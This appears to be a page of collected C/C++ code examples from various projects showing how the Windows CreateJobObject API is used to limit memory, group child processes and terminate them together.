void limitMem( size_t limit )
{
    static HANDLE hJob = NULL;
    JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobInfo;

    jobInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_PROCESS_MEMORY;
    jobInfo.ProcessMemoryLimit = limit? limit*MByte : 2*MByte*1024;
    if (NULL == hJob) {
        if (NULL == (hJob = CreateJobObject(NULL, NULL))) {
            REPORT("Can't assign create job object: %ld\n", GetLastError());
            exit(1);
        }
        if (0 == AssignProcessToJobObject(hJob, GetCurrentProcess())) {
            REPORT("Can't assign process to job object: %ld\n", GetLastError());
            exit(1);
        }
    }
    if (0 == SetInformationJobObject(hJob, JobObjectExtendedLimitInformation,
                                     &jobInfo, sizeof(jobInfo))) {
        REPORT("Can't set limits: %ld\n", GetLastError());
        exit(1);
    }
}
Пример #2
3
BOOL CreateBuilderJob(PCTSTR appName, PTSTR cmdLine, PCTSTR workDir, H2BOperation& op)
{
	BOOL ret = TRUE;
	DWORD err = ERROR_SUCCESS;
	HANDLE job = CreateJobObject(NULL, NULL);

	if( job )
	{
		JOBOBJECT_BASIC_LIMIT_INFORMATION jobLimit = { };

		jobLimit.LimitFlags = JOB_OBJECT_LIMIT_ACTIVE_PROCESS;
		jobLimit.ActiveProcessLimit = 1;

		if( SetInformationJobObject(job, JobObjectBasicLimitInformation, 
			&jobLimit, sizeof(jobLimit)) )
		{
			if( ! CreateBuilderProcess(job, appName, cmdLine, workDir, op) )
				err = GetLastError();
		}

		if( err == ERROR_CANCELLED )
			TerminateJobObject(job, ERROR_CANCELLED);

		CloseHandle(job);
	}

	if( err != ERROR_SUCCESS )
	{
		SetLastError(err);
		ret = FALSE;
	}

	return ret;
}
Пример #3
0
JobObject::JobObject(void)
:
	m_hJobObject(NULL)
{
	HANDLE jobObject = CreateJobObject(NULL, NULL);
	if((jobObject != NULL) && (jobObject != INVALID_HANDLE_VALUE))
	{
		JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobExtendedLimitInfo;
		memset(&jobExtendedLimitInfo, 0, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION));
		memset(&jobExtendedLimitInfo.BasicLimitInformation, 0, sizeof(JOBOBJECT_BASIC_LIMIT_INFORMATION));
		jobExtendedLimitInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE | JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION;
		if(SetInformationJobObject(jobObject, JobObjectExtendedLimitInformation, &jobExtendedLimitInfo, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION)))
		{
			m_hJobObject = jobObject;
		}
		else
		{
			qWarning("Failed to set job object information!");
			CloseHandle(jobObject);
		}
	}
	else
	{
		qWarning("Failed to create the job object!");
	}
}
Пример #4
0
void CJobObject::CreateNewJob() {
   CMutex::CEnter MutexEnter(m_Mutex);
   static const DWORD dwMaxBufferSize = 1024;
   WCHAR pszBuffer[dwMaxBufferSize];
   CString JobName;
   BOOL bError;
   HANDLE hJob;

   m_dwJobId = 0;
   bError = true;
   while (bError) {
      m_dwJobId++;
      if (m_dwJobId == 0) {
         m_dwJobId++;
      }
      wsprintf(pszBuffer, L"%ld", m_dwJobId);
      JobName = pszBuffer;

      hJob = CreateJobObject(0, const_cast<PWSTR>(JobName.c_str()));
      if(hJob == NULL) {
         bError = true;
      } else if (GetLastError() == ERROR_ALREADY_EXISTS) {
         bError = true;
      } else {
         bError = false;
         SetHandle(hJob);
      }
   }
}
Пример #5
0
/// <summary>
///	Creates a console object and starts the child process </summary>
///
/// <param name="ac">
/// Uninitialized console object </param>
/// <param name="tzClientPath">
/// Path to client, in an inject environment this should not be relative </param>
///
/// <returns>
/// If child could be created </returns>
BOOL ImAllocConsole(OUT IM_CONSOLE* ac, IN const TCHAR* tzClientPath) {
       
    SecureZeroMemory(ac->tzClientPipe, MAX_NAME);

    // generate a random name (tmpnam has a forward slash and is not necessarily alphanumeric)
    for (register size_t i = 0; i < rand() % MAX_NAME; ++i) {
        ac->tzClientPipe[i] = rand() % 26 + 'A'; // make random letter
        ac->tzClientPipe[i] ^= rand() % 1 << 5;  // randomly toggle 0x20 (upper/lowercase)
    }
        
    { // create job object and set information
        JOBOBJECT_EXTENDED_LIMIT_INFORMATION joELI;

        ac->hJob = CreateJobObject(NULL, ac->tzClientPipe);
        if (ac->hJob == NULL)
            return FALSE;

	    joELI.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
	    if(!SetInformationJobObject(ac->hJob, JobObjectExtendedLimitInformation, &joELI, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION))) {
            CloseHandle(ac->hJob), ac->hJob = NULL;
            return FALSE;
        }
    }

    { // create child process
        SECURITY_ATTRIBUTES sa = {0};

        sa.nLength = sizeof(sa);
        sa.bInheritHandle = TRUE;
        //  sa.lpSecurityDescriptor = NULL;

        if (!CreatePipe(&ac->hRead, &ac->hWrite, &sa, BUFSIZ)) {
            CloseHandle(ac->hJob), ac->hJob = NULL;
            return FALSE;
        }

        STARTUPINFO siCon = {0};
        PROCESS_INFORMATION piCon = {0};

        siCon.cb = sizeof(siCon);
        siCon.hStdInput = ac->hRead;
        siCon.dwFlags |= STARTF_USESTDHANDLES;

        if (!CreateProcess(tzClientPath, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_BREAKAWAY_FROM_JOB | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &siCon, &piCon)) {
            CloseHandle(ac->hJob), ac->hJob = NULL;
            return FALSE;
        }

        DuplicateHandle(GetCurrentProcess(), piCon.hProcess, GetCurrentProcess(), &ac->hChildProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);
        CloseHandle(piCon.hThread);
        CloseHandle(piCon.hProcess);
    }

    return AssignProcessToJobObject(ac->hJob, ac->hChildProcess);
}
Пример #6
0
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
	AttachConsole(ATTACH_PARENT_PROCESS);

	// Create a named pipe that we can be signaled on for early termination
	wchar_t buf[512];
	wsprintf(buf, L"\\\\.\\pipe\\jobber-%d", GetCurrentProcessId());

	HANDLE hPipe = CreateNamedPipe(buf, 
		PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, 
		PIPE_READMODE_BYTE | PIPE_WAIT, 
		1, 256, 256, 100000, NULL);

	OVERLAPPED io = { 0 };
	io.hEvent = CreateEvent(NULL, true, true, NULL);
	if (!ConnectNamedPipe(hPipe, &io) && GetLastError() != ERROR_IO_PENDING) {
		DWORD dwLastError = GetLastError();
		return -1;
	}

	STARTUPINFO si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	si.cb = sizeof(STARTUPINFO);
	si.wShowWindow = nCmdShow;

	if (!CreateProcess(NULL, lpCmdLine, NULL, NULL, true, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
		DWORD dwLastError = GetLastError();
		return -1;
	}

	HANDLE hJob = CreateJobObject(NULL, NULL);
	AssignProcessToJobObject(hJob, pi.hProcess);

	ResumeThread(pi.hThread);

	HANDLE handles[2];
	handles[0] = io.hEvent;
	handles[1] = pi.hProcess;

	int result = WaitForMultipleObjects(2, handles, false, INFINITE);
	TerminateJobObject(hJob, -1);

	if (result == WAIT_OBJECT_0) {
		return -1;
	} else {
		DWORD dwExit;

		GetExitCodeProcess(pi.hProcess, &dwExit);
		return dwExit;
	}

}
Пример #7
0
//创建作业对象
bool ZJobObject::create(const tstring & name, 
                        LPSECURITY_ATTRIBUTES lpJobAttributes/* = NULL*/)
{
    if (m_handle)
    {
        return false;
    }
    m_handle = CreateJobObject(lpJobAttributes, name.c_str());
    if (m_handle == INVALID_HANDLE_VALUE)
    {
        m_handle = 0;
    }
    return m_handle != 0;
}
Пример #8
0
HANDLE EngineProcess::mainJob()
{
	QMutexLocker locker(&s_mutex);
	if (s_job)
		return s_job;

	s_job = CreateJobObject(NULL, NULL);
	JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli;

	memset(&jeli, 0, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION));

	jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
	SetInformationJobObject(s_job, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli));

	return s_job;
}
Пример #9
0
int main( int argc , char* argv[] )
{
#if defined(WIN32) && defined(MAX_MEMORY_GB)
    if( MAX_MEMORY_GB>0 )
    {
        SIZE_T peakMemory = 1;
        peakMemory <<= 30;
        peakMemory *= MAX_MEMORY_GB;
        printf( "Limiting memory usage to %.2f GB\n" , float( peakMemory>>30 ) );
        HANDLE h = CreateJobObject( NULL , NULL );
        AssignProcessToJobObject( h , GetCurrentProcess() );

        JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 };
        jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_JOB_MEMORY;
        jeli.JobMemoryLimit = peakMemory;
        if( !SetInformationJobObject( h , JobObjectExtendedLimitInformation , &jeli , sizeof( jeli ) ) )
            fprintf( stderr , "Failed to set memory limit\n" );
    }
Пример #10
0
void runner::set_allow_breakaway(bool allow) {
    if (allow_breakaway == allow) {
        return;
    }
    if (main_job_object == handle_default_value) {
        main_job_object = CreateJobObject(NULL, NULL);
        AssignProcessToJobObject(main_job_object, GetCurrentProcess());
    }
    JOBOBJECT_EXTENDED_LIMIT_INFORMATION extended_limit_information;
    memset(&extended_limit_information, 0, sizeof(extended_limit_information));
    if (allow) {
        extended_limit_information.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_BREAKAWAY_OK | JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK;
    }

    if (!SetInformationJobObject(main_job_object, JobObjectExtendedLimitInformation, &extended_limit_information, sizeof(extended_limit_information))) {
        DWORD le = GetLastError();
        return;
    }
    allow_breakaway = allow;
}
Пример #11
0
HANDLE create_child_process(const char *cmd)
{
	PROCESS_INFORMATION pi = {0};
	STARTUPINFO si = {sizeof(si)};

	hJOB = CreateJobObject(NULL, NULL);
	if(!hJOB) {
		return NULL;
	}

	/*JOBOBJECT_SECURITY_LIMIT_INFORMATION security_info = {0};
	security_info.SecurityLimitFlags = JOB_OBJECT_SECURITY_NO_ADMIN;
	if(!SetInformationJobObject(hJOB, JobObjectSecurityLimitInformation, &security_info, sizeof security_info)) {
		CloseHandle(hJOB);
		return NULL;
	}*/
	freopen("err.out", "w", stderr);
	freopen("cmpr.out", "w", stdout);

	BOOL bSuccess = CreateProcess(NULL, (LPSTR)(void*)cmd, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
	if(!bSuccess) {
		CloseHandle(hJOB);
		return NULL;
	}
	if(!AssignProcessToJobObject(hJOB, pi.hProcess)) {
		CloseHandle(hJOB);
		CloseHandle(pi.hThread);
		TerminateProcess(pi.hProcess, 0);
		CloseHandle(pi.hProcess);
		return NULL;
	}
	if(-1 == ResumeThread(pi.hThread)) {
		CloseHandle(hJOB);
		CloseHandle(pi.hThread);
		TerminateProcess(pi.hProcess, 0);
		CloseHandle(pi.hProcess);
		return NULL;
	}
	CloseHandle(pi.hThread);
	return pi.hProcess;
}
Пример #12
0
Файл: Job.cpp Проект: stden/IJE
Job::Job()
{
    millisecondsIdle = 0;
    processesLimit = false;
    timeLimit = 0;
    memoryLimit = 0;
    cpuUsageIdle = 0;
    idlenessLimit = 0;

    std::_stringstream tmp;
    tmp << JOB_OBJECT_NAME;
    tmp << GetTickCount();
    name = tmp.str();
    qualifiedname = JOB_OBJECT_NAMESPACE;
    qualifiedname.append(name);

    hJob = CreateJobObject(NULL,qualifiedname.c_str());
    tryApi(_T("CreateJobObject"), hJob != NULL);
    JOBOBJECT_ASSOCIATE_COMPLETION_PORT portInfo;
    portInfo.CompletionPort = port.handle();
    portInfo.CompletionKey = NULL;
    tryApi(_T("SetInformationJobObject"),
        SetInformationJobObject(hJob,JobObjectAssociateCompletionPortInformation,&portInfo,sizeof portInfo) != 0);

    processTimeCounter = perfQuery.addCounter(
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_JOB_OBJECT),
        _T(""),name,
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_THIS_PERIOD_MSEC_PROCESSOR)
        );
    elapsedTimeCounter = perfQuery.addCounter(
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_SYSTEM),
        _T(""),_T(""),
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_SYSTEM_UPTIME)
        );
    elapsedTimeCounter.setFormatFlags(elapsedTimeCounter.getFormatFlags() | PDH_FMT_1000);
    memoryUsageCounter = perfQuery.addCounter(
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_JOB_OBJECT_DETAILS),
        name,PerformanceQuery::INSTANCE_TOTAL,
        PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_PAGEFILE_BYTES)
        );
}
Пример #13
0
void CJobObject::OpenExistingJob() {
   CMutex::CEnter MutexEnter(m_Mutex);
   static const DWORD dwMaxBufferSize = 1024;
   WCHAR pszBuffer[dwMaxBufferSize];
   CString JobName;
   HANDLE hJob;

   if (m_dwJobId != 0) {
      wsprintf(pszBuffer, L"%ld", m_dwJobId);
      JobName = pszBuffer;
      hJob = CreateJobObject(0, const_cast<PWSTR>(JobName.c_str()));

      if(hJob == NULL) {
         throw CCodineException(CError::GetErrorMessage(GetLastError()), __FILE__, __LINE__);
      } else {
         SetHandle(hJob);
      }
   } else {
      throw CCodineException(L"Can not create a job object with id 0", __FILE__, __LINE__);
   }
}
Пример #14
0
/* 结束进程方案2 TerminateJobObject */
BOOL KillProcessMethod_2(DWORD dwProcessID)
{
    BOOL bRet;
    HANDLE hProcess, hJob;

    hProcess = OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, FALSE, dwProcessID);
    if (hProcess == NULL)
    {
        return FALSE;
    }

    hJob = CreateJobObject(NULL, _T("TestJob"));

    if (!AssignProcessToJobObject(hJob, hProcess))
    {
        return FALSE;
    }

    bRet = TerminateJobObject(hJob, 0);
    CloseHandle(hProcess);
    CloseHandle(hJob);
    return bRet;
}
Пример #15
0
void
CPCD::Process::do_exec() {
  unsigned i;

#ifdef _WIN32
  Vector<BaseString> saved;
  char *cwd = 0;
  save_environment(m_env.c_str(), saved);
#endif

  setup_environment(m_env.c_str());

  char **argv = BaseString::argify(m_path.c_str(), m_args.c_str());

  if(strlen(m_cwd.c_str()) > 0) {
#ifdef _WIN32
    cwd = getcwd(0, 0);
    if(!cwd)
    {
      logger.critical("Couldn't getcwd before spawn");
    }
#endif
    int err = chdir(m_cwd.c_str());
    if(err == -1) {
      BaseString err;
      logger.error("%s: %s\n", m_cwd.c_str(), strerror(errno));
      _exit(1);
    }
  }
#ifndef _WIN32
  Vector<BaseString> ulimit;
  m_ulimit.split(ulimit);
  for(i = 0; i<ulimit.size(); i++){
    if(ulimit[i].trim().length() > 0 && set_ulimit(ulimit[i]) != 0){
      _exit(1);
    }
  }
#endif

  const char *nul = IF_WIN("nul:", "/dev/null");
  int fdnull = open(nul, O_RDWR, 0);
  if(fdnull == -1) {
    logger.error("Cannot open `%s': %s\n", nul, strerror(errno));
    _exit(1);
  }
  
  BaseString * redirects[] = { &m_stdin, &m_stdout, &m_stderr };
  int fds[3];
#ifdef _WIN32
  int std_dups[3];
#endif
  for (i = 0; i < 3; i++) {
#ifdef _WIN32
    std_dups[i] = dup(i);
#endif
    if (redirects[i]->empty()) {
#ifndef DEBUG
      dup2(fdnull, i);
#endif
      continue;
    }
    
    if((* redirects[i]) == "2>&1" && i == 2){
      dup2(fds[1], 2);
      continue;
    }
    
    /**
     * Make file
     */
    int flags = 0;
    int mode = S_IRUSR | S_IWUSR ;
    if(i == 0){
      flags |= O_RDONLY;
    } else {
      flags |= O_WRONLY | O_CREAT | O_APPEND;
    }
    int f = fds[i]= open(redirects[i]->c_str(), flags, mode);
    if(f == -1){
      logger.error("Cannot redirect %u to/from '%s' : %s\n", i,
		   redirects[i]->c_str(), strerror(errno));
      _exit(1);
    }
    dup2(f, i);
#ifdef _WIN32
    close(f);
#endif
  }

#ifndef _WIN32
  /* Close all filedescriptors */
  for(i = STDERR_FILENO+1; (int)i < getdtablesize(); i++)
    close(i);

  execv(m_path.c_str(), argv);
  /* XXX If we reach this point, an error has occurred, but it's kind of hard
   * to report it, because we've closed all files... So we should probably
   * create a new logger here */
  logger.error("Exec failed: %s\n", strerror(errno));
  /* NOTREACHED */
#else

  // Get full path to cygwins shell
  FILE *fpipe = _popen("sh -c 'cygpath -w `which sh`'", "rt");
  char buf[MAX_PATH];

  require(fgets(buf, MAX_PATH - 1, fpipe));
  fclose(fpipe);

  BaseString sh;
  sh.assign(buf);
  sh.trim("\n");
  sh.append(".exe");

  BaseString shcmd;
  shcmd.assfmt("%s -c '%s %s'", sh.c_str(), m_path.c_str(), m_args.c_str());

  PROCESS_INFORMATION pi = {0};
  STARTUPINFO si = {sizeof(STARTUPINFO), 0};

  si.dwFlags   |=  STARTF_USESTDHANDLES;
  si.hStdInput  = (HANDLE)_get_osfhandle(0);
  si.hStdOutput = (HANDLE)_get_osfhandle(1);
  si.hStdError  = (HANDLE)_get_osfhandle(2);

  if(!CreateProcessA(sh.c_str(),
                     (LPSTR)shcmd.c_str(),
                     NULL,
                     NULL,
                     TRUE,
                     CREATE_SUSPENDED, // Resumed after assigned to Job
                     NULL,
                     NULL,
                     &si,
                     &pi))
  {
    char* message;
    DWORD err = GetLastError();

    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
                  FORMAT_MESSAGE_FROM_SYSTEM |
                  FORMAT_MESSAGE_IGNORE_INSERTS,
                  NULL,
                  err,
                  MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                  (LPTSTR)&message,
                  0, NULL );

    logger.error("CreateProcess failed, error: %d, message: '%s'",
                 err, message);
    LocalFree(message);

  }

  HANDLE proc = pi.hProcess;
  require(proc);

  // Job control
  require(m_job = CreateJobObject(0, 0));
  require(AssignProcessToJobObject(m_job, proc));

  // Resum process after it has been added to Job
  ResumeThread(pi.hThread);
  CloseHandle(pi.hThread);


  // go back up to original cwd
  if(chdir(cwd))
  {
    logger.critical("Couldn't go back to saved cwd after spawn()");
    logger.critical("errno: %d, strerror: %s", errno, strerror(errno));
  }
  free(cwd);

  // get back to original std i/o
  for(i = 0; i < 3; i++) {
    dup2(std_dups[i], i);
    close(std_dups[i]);
  }

  for (i = 0; i < saved.size(); i++) {
    putenv(saved[i].c_str());
  }

  logger.debug("'%s' has been started", shcmd.c_str());

  DWORD exitcode;
  BOOL result = GetExitCodeProcess(proc, &exitcode);
  //maybe a short running process
  if (result && exitcode != 259) {
    m_status = STOPPED;
    logger.warning("Process terminated early");
  }

  int pid = GetProcessId(proc);
  if (!pid)
    logger.critical("GetProcessId failed, error: %d!", GetLastError());

  logger.debug("new pid %d", pid);

  CloseHandle(proc);
  m_status = RUNNING;
  writePid(pid);
#endif

  close(fdnull);
}
Пример #16
0
static void
run_child(wchar_t * cmdline)
{
    HANDLE job;
    JOBOBJECT_EXTENDED_LIMIT_INFORMATION info;
    DWORD rc;
    BOOL ok;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;

#if defined(_WINDOWS)
    // When explorer launches a Windows (GUI) application, it displays
    // the "app starting" (the "pointer + hourglass") cursor for a number
    // of seconds, or until the app does something UI-ish (eg, creating a
    // window, or fetching a message).  As this launcher doesn't do this
    // directly, that cursor remains even after the child process does these
    // things.  We avoid that by doing a simple post+get message.
    // See http://bugs.python.org/issue17290 and
    // https://bitbucket.org/vinay.sajip/pylauncher/issue/20/busy-cursor-for-a-long-time-when-running
    MSG msg;

    PostMessage(0, 0, 0, 0);
    GetMessage(&msg, 0, 0, 0);
#endif

    job = CreateJobObject(NULL, NULL);
    ok = QueryInformationJobObject(job, JobObjectExtendedLimitInformation,
                                  &info, sizeof(info), &rc);
    if (!ok || (rc != sizeof(info)) || !job)
        error(RC_CREATE_PROCESS, L"Job information querying failed");
    info.BasicLimitInformation.LimitFlags |= JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE |
                                             JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK;
    ok = SetInformationJobObject(job, JobObjectExtendedLimitInformation, &info,
                                 sizeof(info));
    if (!ok)
        error(RC_CREATE_PROCESS, L"Job information setting failed");
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    ok = safe_duplicate_handle(GetStdHandle(STD_INPUT_HANDLE), &si.hStdInput);
    if (!ok)
        error(RC_NO_STD_HANDLES, L"stdin duplication failed");
    ok = safe_duplicate_handle(GetStdHandle(STD_OUTPUT_HANDLE), &si.hStdOutput);
    if (!ok)
        error(RC_NO_STD_HANDLES, L"stdout duplication failed");
    ok = safe_duplicate_handle(GetStdHandle(STD_ERROR_HANDLE), &si.hStdError);
    if (!ok)
        error(RC_NO_STD_HANDLES, L"stderr duplication failed");

    ok = SetConsoleCtrlHandler(ctrl_c_handler, TRUE);
    if (!ok)
        error(RC_CREATE_PROCESS, L"control handler setting failed");

    si.dwFlags = STARTF_USESTDHANDLES;
    ok = CreateProcessW(NULL, cmdline, NULL, NULL, TRUE,
                        0, NULL, NULL, &si, &pi);
    if (!ok)
        error(RC_CREATE_PROCESS, L"Unable to create process using '%ls'", cmdline);
    AssignProcessToJobObject(job, pi.hProcess);
    CloseHandle(pi.hThread);
    WaitForSingleObjectEx(pi.hProcess, INFINITE, FALSE);
    ok = GetExitCodeProcess(pi.hProcess, &rc);
    if (!ok)
        error(RC_CREATE_PROCESS, L"Failed to get exit code of process");
    exit(rc);
}
Пример #17
0
int
main(int argc, char **argv)
{
#ifdef WINDOWS
    HANDLE event;
    char cmdline[128];

    if (argc == 1) {
        /* parent process */
        STARTUPINFO si = { sizeof(STARTUPINFO) };
        PROCESS_INFORMATION pi;
        HANDLE job, job2, job3;
        JOBOBJECT_EXTENDED_LIMIT_INFORMATION limit = {0,};
        DWORD exitcode = (DWORD)-1;

        /* For synchronization we create an inherited event */
        SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE/*inherit*/};
        event = CreateEvent(&sa, FALSE/*manual reset*/, FALSE/*start unset*/, NULL);
        if (event == NULL)
            print("Failed to create event");

        _snprintf(cmdline, BUFFER_SIZE_ELEMENTS(cmdline), "%s %p", argv[0], event);

        print("creating child #1\n");
        if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/,
                           0, NULL, NULL, &si, &pi))
            print("CreateProcess failure\n");
        WaitForSingleObject(event, INFINITE);
        print("terminating child #1 by NtTerminateProcess\n");
        TerminateProcess(pi.hProcess, 42);
        WaitForSingleObject(pi.hProcess, INFINITE);
        GetExitCodeProcess(pi.hProcess, &exitcode);
        print("child #1 exit code = %d\n", exitcode);
        if (!ResetEvent(event))
            print("Failed to reset event\n");

        print("creating child #2\n");
        if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/,
                           CREATE_SUSPENDED, NULL, NULL, &si, &pi))
            print("CreateProcess failure\n");
        job = CreateJobObject(NULL, "drx-test job");
        AssignProcessToJobObject(job, pi.hProcess);
        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        WaitForSingleObject(event, INFINITE);
        print("terminating child #2 by NtTerminateJobObject\n");
        TerminateJobObject(job, 123456);
        CloseHandle(job);
        WaitForSingleObject(pi.hProcess, INFINITE);
        GetExitCodeProcess(pi.hProcess, &exitcode);
        print("child #2 exit code = %d\n", exitcode);
        if (!ResetEvent(event))
            print("Failed to reset event\n");

        print("creating child #3\n");
        if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/,
                           CREATE_SUSPENDED, NULL, NULL, &si, &pi))
            print("CreateProcess failure\n");
        job = CreateJobObject(NULL, "drx-test job");
        AssignProcessToJobObject(job, pi.hProcess);
        limit.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
        if (!SetInformationJobObject(job, JobObjectExtendedLimitInformation,
                                     &limit, sizeof(limit)))
            print("SetInformationJobObject failed\n");
        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        WaitForSingleObject(event, INFINITE);
        print("terminating child #3 by closing job handle\n");
        CloseHandle(job);
        WaitForSingleObject(pi.hProcess, INFINITE);
        GetExitCodeProcess(pi.hProcess, &exitcode);
        print("child #3 exit code = %d\n", exitcode);

        /* Test DuplicateHandle (DrMem i#1401) */
        print("creating child #4\n");
        if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/,
                           CREATE_SUSPENDED, NULL, NULL, &si, &pi))
            print("CreateProcess failure\n");
        job = CreateJobObject(NULL, "drx-test job");
        AssignProcessToJobObject(job, pi.hProcess);
        limit.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
        if (!SetInformationJobObject(job, JobObjectExtendedLimitInformation,
                                     &limit, sizeof(limit)))
            print("SetInformationJobObject failed\n");
        if (!DuplicateHandle(GetCurrentProcess(), job, GetCurrentProcess(), &job2,
                             0, FALSE, DUPLICATE_SAME_ACCESS))
            print("DuplicateHandle failed\n");
        if (!DuplicateHandle(GetCurrentProcess(), job, GetCurrentProcess(), &job3,
                             0, FALSE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
            print("DuplicateHandle failed\n");
        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        WaitForSingleObject(event, INFINITE);
        print("terminating child #4 by closing both job handles\n");
        CloseHandle(job2);
        CloseHandle(job3);
        WaitForSingleObject(pi.hProcess, INFINITE);
        GetExitCodeProcess(pi.hProcess, &exitcode);
        print("child #4 exit code = %d\n", exitcode);
    }
    else { /* child process */
        int iter = 0;
        if (sscanf(argv[1], "%p", &event) != 1) {
            print("Failed to obtain event handle from %s\n", argv[1]);
            return -1;
        }
        if (!SetEvent(event))
            print("Failed to set event\n");
        /* spin until parent kills us or we time out */
        while (iter++ < 12) {
            Sleep(5000);
        }
    }

    CloseHandle(event);

#else /* WINDOWS */

    int pipefd[2];
    pid_t cpid;
    char buf = 0;

    if (pipe(pipefd) == -1) {
        perror("pipe");
        exit(1);
    }

    print("creating child\n");
    cpid = fork();
    if (cpid == -1) {
        perror("fork");
        exit(1);
    } else if (cpid > 0) {
        /* parent */
        int status;
        close(pipefd[1]); /* close unused write end */
        if (read(pipefd[0], &buf, sizeof(buf)) <= 0) {
            perror("pipe read failed");
            exit(1);
        }
        print("terminating child by sending SIGKILL\n");
        kill(cpid, SIGKILL);
        wait(&status); /* wait for child */
        close(pipefd[0]);
        print("child exit code = %d\n", status);
    } else {
        /* child */
        int iter = 0;
        close(pipefd[0]); /* close unused read end */
        write(pipefd[1], &buf, sizeof(buf));
        close(pipefd[1]);
        /* spin until parent kills us or we time out */
        while (iter++ < 12) {
            sleep(5);
        }
    }

#endif /* UNIX */

    return 0;
}
HRESULT CNodeApplicationManager::Initialize(IHttpContext* context)
{
	HRESULT hr;
	BOOL isInJob, createJob;
	JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobInfo;

	if (this->initialized)
	{
		return S_OK;
	}

	ErrorIf(NULL == (this->eventProvider = new CNodeEventProvider()), ERROR_NOT_ENOUGH_MEMORY);
	CheckError(this->eventProvider->Initialize());
	ErrorIf(NULL != this->asyncManager, ERROR_INVALID_OPERATION);
	ErrorIf(NULL == (this->asyncManager = new CAsyncManager()), ERROR_NOT_ENOUGH_MEMORY);
	CheckError(this->asyncManager->Initialize(context));
	ErrorIf(NULL == (this->fileWatcher = new CFileWatcher()), ERROR_NOT_ENOUGH_MEMORY);
	CheckError(this->fileWatcher->Initialize(context));

	// determine whether node processes should be created in a new job object
	// or whether current job object is adequate; the goal is to kill node processes when
	// the IIS worker process is killed while preserving current job limits, if any
	
	ErrorIf(!IsProcessInJob(GetCurrentProcess(), NULL, &isInJob), HRESULT_FROM_WIN32(GetLastError()));
	if (!isInJob)
	{
		createJob = TRUE;
	}
	else
	{
		ErrorIf(!QueryInformationJobObject(NULL, JobObjectExtendedLimitInformation, &jobInfo, sizeof jobInfo, NULL), 
			HRESULT_FROM_WIN32(GetLastError()));

        if (jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK )
        {
            createJob = TRUE;
        }
        else if(jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE )
        {
            createJob = FALSE;
        }
        else if(jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_BREAKAWAY_OK )
        {
            createJob = TRUE;
			this->breakAwayFromJobObject = TRUE;
        }
        else
        {
            createJob = TRUE;
        }
	}

	if (createJob)
	{
		ErrorIf(NULL == (this->jobObject = CreateJobObject(NULL, NULL)), HRESULT_FROM_WIN32(GetLastError()));
		RtlZeroMemory(&jobInfo, sizeof jobInfo);
		jobInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
		ErrorIf(!SetInformationJobObject(this->jobObject, JobObjectExtendedLimitInformation, &jobInfo, sizeof jobInfo), 
			HRESULT_FROM_WIN32(GetLastError()));
	}

	this->initialized = TRUE;

	this->GetEventProvider()->Log(L"iisnode initialized the application manager", WINEVENT_LEVEL_INFO);

	return S_OK;
